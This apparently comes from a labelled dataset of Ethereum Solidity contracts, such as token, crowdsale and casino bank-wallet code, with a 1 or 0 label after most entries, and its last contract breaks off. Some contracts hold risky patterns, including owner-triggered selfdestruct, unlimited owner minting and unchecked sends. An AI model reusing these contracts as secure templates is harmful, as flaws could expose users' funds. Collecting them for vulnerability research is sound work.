pragma solidity ^0.4.21; contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function transfer(address to, uint tokens) public returns (bool success); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); } contract PLT is ERC20Interface { function totalSupply()public constant returns (uint) { return fixTotalBalance; } function balanceOf(address tokenOwner)public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens)public returns (bool success) { if (balances[msg.sender] >= tokens && tokens > 0 && balances[to] + tokens > balances[to]) { if(msg.sender == creatorsAddress) { TryUnLockCreatorBalance(); if(balances[msg.sender] < (creatorsLocked + tokens)) { return false; } } balances[msg.sender] -= tokens; balances[to] += tokens; emit Transfer(msg.sender, to, tokens); return true; } else { return false; } } function transferFrom(address from, address to, uint tokens)public returns (bool success) { if (balances[from] >= tokens && allowed[from][msg.sender] >= tokens && tokens > 0 && balances[to] + tokens > balances[to]) { if(from == creatorsAddress) { TryUnLockCreatorBalance(); if(balances[from] < (creatorsLocked + tokens)) { return false; } } balances[from] -= tokens; allowed[from][msg.sender] -= tokens; balances[to] += tokens; emit Transfer(from, to, tokens); return true; } else { return false; } } function approve(address spender, uint tokens)public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function allowance(address tokenOwner, address spender)public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); string public name = "Polaris"; string public symbol = "PLT"; uint8 public decimals = 18; uint256 private fixTotalBalance = 850000000000000000000000000; uint256 private _totalBalance = 850000000000000000000000000; uint256 public creatorsLocked = 0; address public owner = 0x0; mapping (address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; uint constant private ONE_DAY_TIME_LEN = 86400; uint constant private ONE_YEAR_TIME_LEN = 946080000; uint32 private constant MAX_UINT32 = 0xFFFFFFFF; address public creatorsAddress = 0xe9e93E42E89dBD754b22447045eCe22D1304C705; uint public unLockIdx = 2; uint public nextUnLockTime = block.timestamp + ONE_YEAR_TIME_LEN; function PLT() public { owner = msg.sender; balances[creatorsAddress] = creatorsLocked; balances[owner] = _totalBalance; } function TryUnLockCreatorBalance() public { while(unLockIdx > 0 && block.timestamp >= nextUnLockTime){ uint256 append = creatorsLocked/unLockIdx; creatorsLocked -= append; unLockIdx -= 1; nextUnLockTime = block.timestamp + ONE_YEAR_TIME_LEN; } } function () public payable { } function Save() public { if (msg.sender != owner) revert(); owner.transfer(address(this).balance); } function changeOwner(address newOwner) public { if (msg.sender != owner) { revert(); } else { owner = newOwner; } } function destruct() public { if (msg.sender != owner) { revert(); } else { selfdestruct(owner); } } }
1
4,451
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Crowdsale { using SafeMath for uint256; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { } function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.transfer(_beneficiary, _tokenAmount); } function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } constructor(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } function finalization() internal { } } contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); constructor(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; emit Closed(); wallet.transfer(address(this).balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); emit Refunded(investor, depositedValue); } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "Airgead Token"; string public constant TOKEN_SYMBOL = "AED"; bool public constant PAUSED = true; address public constant TARGET_USER = 0x97c78dB18D54fC94897C1b114A3F1D7785d98C5E; uint public constant START_TIME = 1537963016; bool public constant CONTINUE_MINTING = true; } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } function capReached() public view returns (bool) { return weiRaised >= cap; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } contract MintedCrowdsale is Crowdsale { function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } } contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; uint256 public goal; RefundVault public vault; constructor(uint256 _goal) public { require(_goal > 0); vault = new RefundVault(wallet); goal = _goal; } function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } function goalReached() public view returns (bool) { return weiRaised >= goal; } function finalization() internal { if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } super.finalization(); } function _forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } } contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale { function hasStarted() public view returns (bool) { return now >= openingTime; } function startTime() public view returns (uint256) { return openingTime; } function endTime() public view returns (uint256) { return closingTime; } function hasClosed() public view returns (bool) { return super.hasClosed() || capReached(); } function hasEnded() public view returns (bool) { return hasClosed(); } function finalization() internal { super.finalization(); if (PAUSED) { MainToken(token).unpause(); } if (!CONTINUE_MINTING) { require(MintableToken(token).finishMinting()); } Ownable(token).transferOwnership(TARGET_USER); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate).div(1 ether); } } contract TemplateCrowdsale is Consts, MainCrowdsale , RefundableCrowdsale { event Initialized(); event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime); bool public initialized = false; constructor(MintableToken _token) public Crowdsale(175 * TOKEN_DECIMAL_MULTIPLIER, 0x97c78dB18D54fC94897C1b114A3F1D7785d98C5E, _token) TimedCrowdsale(START_TIME > now ? START_TIME : now, 1544792160) CappedCrowdsale(382857142857142857142857) RefundableCrowdsale(45714285714285714285714) { } function init() public onlyOwner { require(!initialized); initialized = true; if (PAUSED) { MainToken(token).pause(); } address[1] memory addresses = [address(0x97c78db18d54fc94897c1b114a3f1d7785d98c5e)]; uint[1] memory amounts = [uint(33000000000000000000000000)]; uint64[1] memory freezes = [uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { MainToken(token).mint(addresses[i], amounts[i]); } else { MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } transferOwnership(TARGET_USER); emit Initialized(); } function setStartTime(uint _startTime) public onlyOwner { require(now < openingTime); require(_startTime > openingTime); require(_startTime < closingTime); emit TimesChanged(_startTime, closingTime, openingTime, closingTime); openingTime = _startTime; } function setEndTime(uint _endTime) public onlyOwner { require(now < closingTime); require(now < _endTime); require(_endTime > openingTime); emit TimesChanged(openingTime, _endTime, openingTime, closingTime); closingTime = _endTime; } function setTimes(uint _startTime, uint _endTime) public onlyOwner { require(_endTime > _startTime); uint oldStartTime = openingTime; uint oldEndTime = closingTime; bool changed = false; if (_startTime != oldStartTime) { require(_startTime > now); require(now < oldStartTime); require(_startTime > oldStartTime); openingTime = _startTime; changed = true; } if (_endTime != oldEndTime) { require(now < oldEndTime); require(now < _endTime); closingTime = _endTime; changed = true; } if (changed) { emit TimesChanged(openingTime, _endTime, openingTime, closingTime); } } }
1
3,531
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNewOwner() { require(msg.sender != address(0)); require(msg.sender == newOwner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public onlyNewOwner returns(bool) { emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function allowance(address owner, address spender) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } interface TokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract RESHToken is ERC20, Ownable, Pausable { using SafeMath for uint256; struct LockupInfo { uint256 releaseTime; uint256 termOfRound; uint256 unlockAmountPerRound; uint256 lockupBalance; } string public name; string public symbol; uint8 public decimals; uint256 internal initialSupply; uint256 internal totalSupply_; mapping(address => uint256) internal balances; mapping(address => bool) internal locks; mapping(address => bool) public frozen; mapping(address => mapping(address => uint256)) internal allowed; mapping(address => LockupInfo) internal lockupInfo; event Unlock(address indexed holder, uint256 value); event Lock(address indexed holder, uint256 value); event Burn(address indexed owner, uint256 value); event Mint(uint256 value); event Freeze(address indexed holder); event Unfreeze(address indexed holder); modifier notFrozen(address _holder) { require(!frozen[_holder]); _; } constructor() public { name = "RESH Token"; symbol = "RESH"; decimals = 18; initialSupply = 30000000000; totalSupply_ = initialSupply * 10 ** uint(decimals); balances[owner] = totalSupply_; emit Transfer(address(0), owner, totalSupply_); } function () public payable { revert(); } function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public whenNotPaused notFrozen(msg.sender) returns (bool) { if (locks[msg.sender]) { autoUnlock(msg.sender); } require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _holder) public view returns (uint balance) { return balances[_holder]; } function lockupBalance(address _holder) public view returns (uint256 balance) { return lockupInfo[_holder].lockupBalance; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notFrozen(_from)returns (bool) { if (locks[_from]) { autoUnlock(_from); } require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { require(isContract(_spender)); TokenRecipient spender = TokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function allowance(address _holder, address _spender) public view returns (uint256) { return allowed[_holder][_spender]; } function lock(address _holder, uint256 _amount, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) { require(locks[_holder] == false); require(_releaseStart > now); require(_termOfRound > 0); require(_amount.mul(_releaseRate).div(100) > 0); require(balances[_holder] >= _amount); balances[_holder] = balances[_holder].sub(_amount); lockupInfo[_holder] = LockupInfo(_releaseStart, _termOfRound, _amount.mul(_releaseRate).div(100), _amount); locks[_holder] = true; emit Lock(_holder, _amount); return true; } function unlock(address _holder) public onlyOwner returns (bool) { require(locks[_holder] == true); uint256 releaseAmount = lockupInfo[_holder].lockupBalance; delete lockupInfo[_holder]; locks[_holder] = false; emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return true; } function freezeAccount(address _holder) public onlyOwner returns (bool) { require(!frozen[_holder]); frozen[_holder] = true; emit Freeze(_holder); return true; } function unfreezeAccount(address _holder) public onlyOwner returns (bool) { require(frozen[_holder]); frozen[_holder] = false; emit Unfreeze(_holder); return true; } function getNowTime() public view returns(uint256) { return now; } function showLockState(address _holder) public view returns (bool, uint256, uint256, uint256, uint256) { return (locks[_holder], lockupInfo[_holder].lockupBalance, lockupInfo[_holder].releaseTime, lockupInfo[_holder].termOfRound, lockupInfo[_holder].unlockAmountPerRound); } function distribute(address _to, uint256 _value) public onlyOwner returns (bool) { require(_to != address(0)); require(_value <= balances[owner]); balances[owner] = balances[owner].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(owner, _to, _value); return true; } function distributeWithLockup(address _to, uint256 _value, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) { distribute(_to, _value); lock(_to, _value, _releaseStart, _termOfRound, _releaseRate); return true; } function claimToken(ERC20 token, address _to, uint256 _value) public onlyOwner returns (bool) { token.transfer(_to, _value); return true; } function burn(uint256 _value) public onlyOwner returns (bool success) { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); return true; } function mint( uint256 _amount) onlyOwner public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[owner] = balances[owner].add(_amount); emit Transfer(address(0), owner, _amount); return true; } function isContract(address addr) internal view returns (bool) { uint size; assembly{size := extcodesize(addr)} return size > 0; } function autoUnlock(address _holder) internal returns (bool) { if (lockupInfo[_holder].releaseTime <= now) { return releaseTimeLock(_holder); } return false; } function releaseTimeLock(address _holder) internal returns(bool) { require(locks[_holder]); uint256 releaseAmount = 0; for( ; lockupInfo[_holder].releaseTime <= now ; ) { if (lockupInfo[_holder].lockupBalance <= lockupInfo[_holder].unlockAmountPerRound) { releaseAmount = releaseAmount.add(lockupInfo[_holder].lockupBalance); delete lockupInfo[_holder]; locks[_holder] = false; break; } else { releaseAmount = releaseAmount.add(lockupInfo[_holder].unlockAmountPerRound); lockupInfo[_holder].lockupBalance = lockupInfo[_holder].lockupBalance.sub(lockupInfo[_holder].unlockAmountPerRound); lockupInfo[_holder].releaseTime = lockupInfo[_holder].releaseTime.add(lockupInfo[_holder].termOfRound); } } emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return true; } }
1
2,730
pragma solidity ^0.4.25; contract SafeMath { function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function safeSub(int a, int b) internal pure returns (int) { if (b < 0) assert(a - b > a); else assert(a - b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a && c >= b); return c; } function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } } contract Token { function transfer(address receiver, uint amount) public returns (bool) { (receiver); (amount); return false; } function balanceOf(address holder) public view returns (uint) { (holder); return 0; } function approve(address _spender, uint256 _value) public returns (bool) { (_spender); (_value); return false; } } contract Casino { function deposit(address _receiver, uint _amount, bool _chargeGas) public; } contract Owned { address public owner; address public receiver; mapping (address => bool) public moderator; modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyModerator { require(moderator[msg.sender]); _; } modifier onlyAdmin { require(moderator[msg.sender] || msg.sender == owner); _; } constructor() internal { owner = msg.sender; receiver = msg.sender; } function setOwner(address _address) public onlyOwner { owner = _address; } function setReceiver(address _address) public onlyAdmin { receiver = _address; } function addModerator(address _address) public onlyOwner { moderator[_address] = true; } function removeModerator(address _address) public onlyOwner { moderator[_address] = false; } } contract RequiringAuthorization is Owned { mapping(address => bool) public authorized; modifier onlyAuthorized { require(authorized[msg.sender]); _; } constructor() internal { authorized[msg.sender] = true; } function authorize(address _address) public onlyAdmin { authorized[_address] = true; } function deauthorize(address _address) public onlyAdmin { authorized[_address] = false; } } contract Pausable is Owned { bool public paused = false; event Paused(bool _paused); modifier onlyPaused { require(paused == true); _; } modifier onlyActive { require(paused == false); _; } function pause() public onlyActive onlyAdmin { paused = true; } function activate() public onlyPaused onlyOwner { paused = false; } } contract BankWallet is Pausable, RequiringAuthorization, SafeMath { address public edgelessToken; address public edgelessCasino; uint public maxFundAmount = 0.22 ether; event Withdrawal(address _token, uint _amount); event Deposit(address _receiver, uint _amount); event Fund(address _receiver, uint _amount); constructor(address _token, address _casino) public { edgelessToken = _token; edgelessCasino = _casino; owner = msg.sender; } function () public payable {} function withdraw(address _token, uint _amount) public onlyAdmin returns (bool _success) { _success = false; if (_token == address (0)) { uint weiAmount = _amount; if (weiAmount > address(this).balance) { return false; } _success = receiver.send(weiAmount); } else { Token __token = Token(_token); uint amount = _amount; if (amount > __token.balanceOf(this)) { return false; } _success = __token.transfer(receiver, amount); } if (_success) { emit Withdrawal(_token, _amount); } } function approve(uint _amount) public onlyAuthorized { _approveForCasino(edgelessCasino, _amount); } function deposit(address _address, uint _amount, bool _chargeGas) public onlyAuthorized { Casino __casino = Casino(edgelessCasino); __casino.deposit(_address, _amount, _chargeGas); emit Deposit(_address, _amount); } function fund(address _address, uint _amount) public onlyAuthorized returns (bool _success) { require(_amount <= maxFundAmount); _success = _address.send(_amount); if (_success) { emit Fund(_address, _amount); } } function setCasinoContract(address _casino) public onlyAdmin { edgelessCasino = _casino; _approveForCasino(_casino, 1000000000); } function setMaxFundAmount(uint _amount) public onlyAdmin { maxFundAmount = _amount; } function _approveForCasino(address _address, uint _amount) internal returns (bool _success) { Token __token = Token(edgelessToken); _success = __token.approve(_address, _amount); } }
0
827
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); 